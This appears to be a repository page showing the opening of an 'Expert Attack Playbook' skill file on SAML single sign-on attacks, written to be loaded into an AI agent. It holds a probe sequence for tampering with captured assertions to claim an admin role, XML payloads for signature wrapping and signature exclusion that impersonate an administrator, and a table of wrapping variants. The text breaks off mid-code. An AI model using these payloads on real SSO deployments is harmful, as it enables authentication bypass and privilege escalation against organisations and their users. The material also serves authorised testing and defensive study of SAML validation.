saml-sso-assertion-attacks

Files (1)

• SKILL.md

SKILL.md (first lines)

# SKILL: SAML SSO Assertion Attacks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: SAML attack surface covers signature wrapping (XSW), signature exclusion, assertion attribute injection for privilege escalation, audience/recipient confusion, replay attacks, and XML parser vulnerabilities (XXE, XSLT) in SAML endpoints. Base models often test only signature bypass — this skill covers the full SAML trust boundary between IdP and SP.

## QUICK START

### First-pass detection

| Signal | What It Means |
|--------|---------------|
| `SAMLRequest` in URL or POST body | SP-initiated SSO flow |
| `SAMLResponse` in callback | IdP response handling |
| `/saml/callback`, `/acs`, `/sso/acs` | Assertion Consumer Service endpoint |
| `SAML2`, `Shibboleth`, `OneLogin`, `Okta`, `ADFS` headers | SAML implementation fingerprint |

### First-pass probe set

```text
1. Capture a valid SAMLResponse (authenticate normally)
2. Decode Base64 → inspect XML structure
3. Modify an attribute (e.g., role → admin) → re-encode → send
4. If accepted without error → signature not enforced on attributes
```

---

## 1. CORE CONCEPT

### SAML Flow

```
User → SP: Access protected resource
SP → User: Redirect to IdP with SAMLRequest
IdP → User: Authenticate + consent
IdP → User: POST SAMLResponse to ACS endpoint
SP: Validate assertion → create session → grant access
```

### SAML Assertion Structure

```xml
<samlp:Response ID="_123" ...>
  <ds:Signature>...</ds:Signature>
  <saml:Assertion ID="_456" ...>
    <saml:Subject>
      <saml:NameID>user@company.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>user</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
    <saml:Conditions NotOnOrAfter="..." NotBefore="...">
      <saml:AudienceRestriction>
        <saml:Audience>https://sp.example.com</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
  </saml:Assertion>
</samlp:Response>
```

---

## 2. SIGNATURE VALIDATION BYPASS

### Signature Wrapping (XSW Attacks)

```xml
<!-- XSW-2: Move signed assertion, inject unsigned one -->
<samlp:Response ID="_123">
  <!-- Attacker's unsigned assertion (processed by SP) -->
  <saml:Assertion ID="evil">
    <saml:Subject>
      <saml:NameID>admin@company.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
  <!-- Original signed assertion (signature verifies but ignored) -->
  <ds:Signature Reference="#_456">...</ds:Signature>
  <saml:Assertion ID="_456">...</saml:Assertion>
</samlp:Response>
```

### Signature Exclusion

```xml
<!-- Remove Signature element entirely -->
<samlp:Response ID="_123">
  <saml:Assertion ID="_456">
    <saml:Subject>
      <saml:NameID>admin@company.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>
<!-- If SP doesn't require signature → assertion accepted -->
```

### Common XSW Variants

| Variant | Technique |
|---------|-----------|
| XSW-2 | Inject unsigned assertion before signed one |
| XSW-3 | Move signature to point to wrong assertion |
| XSW-4 | Wrap signed assertion inside unsigned extension |
| XSW-8 | Duplicate assertion with modified attributes |
| XSW-11 | Move signature to Response level (not Assertion) |

---

## 3. ASSERTION MANIPULATION

### Role/Group Injection

```xml
<!-- Modify AttributeStatement in captured assertion: -->

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC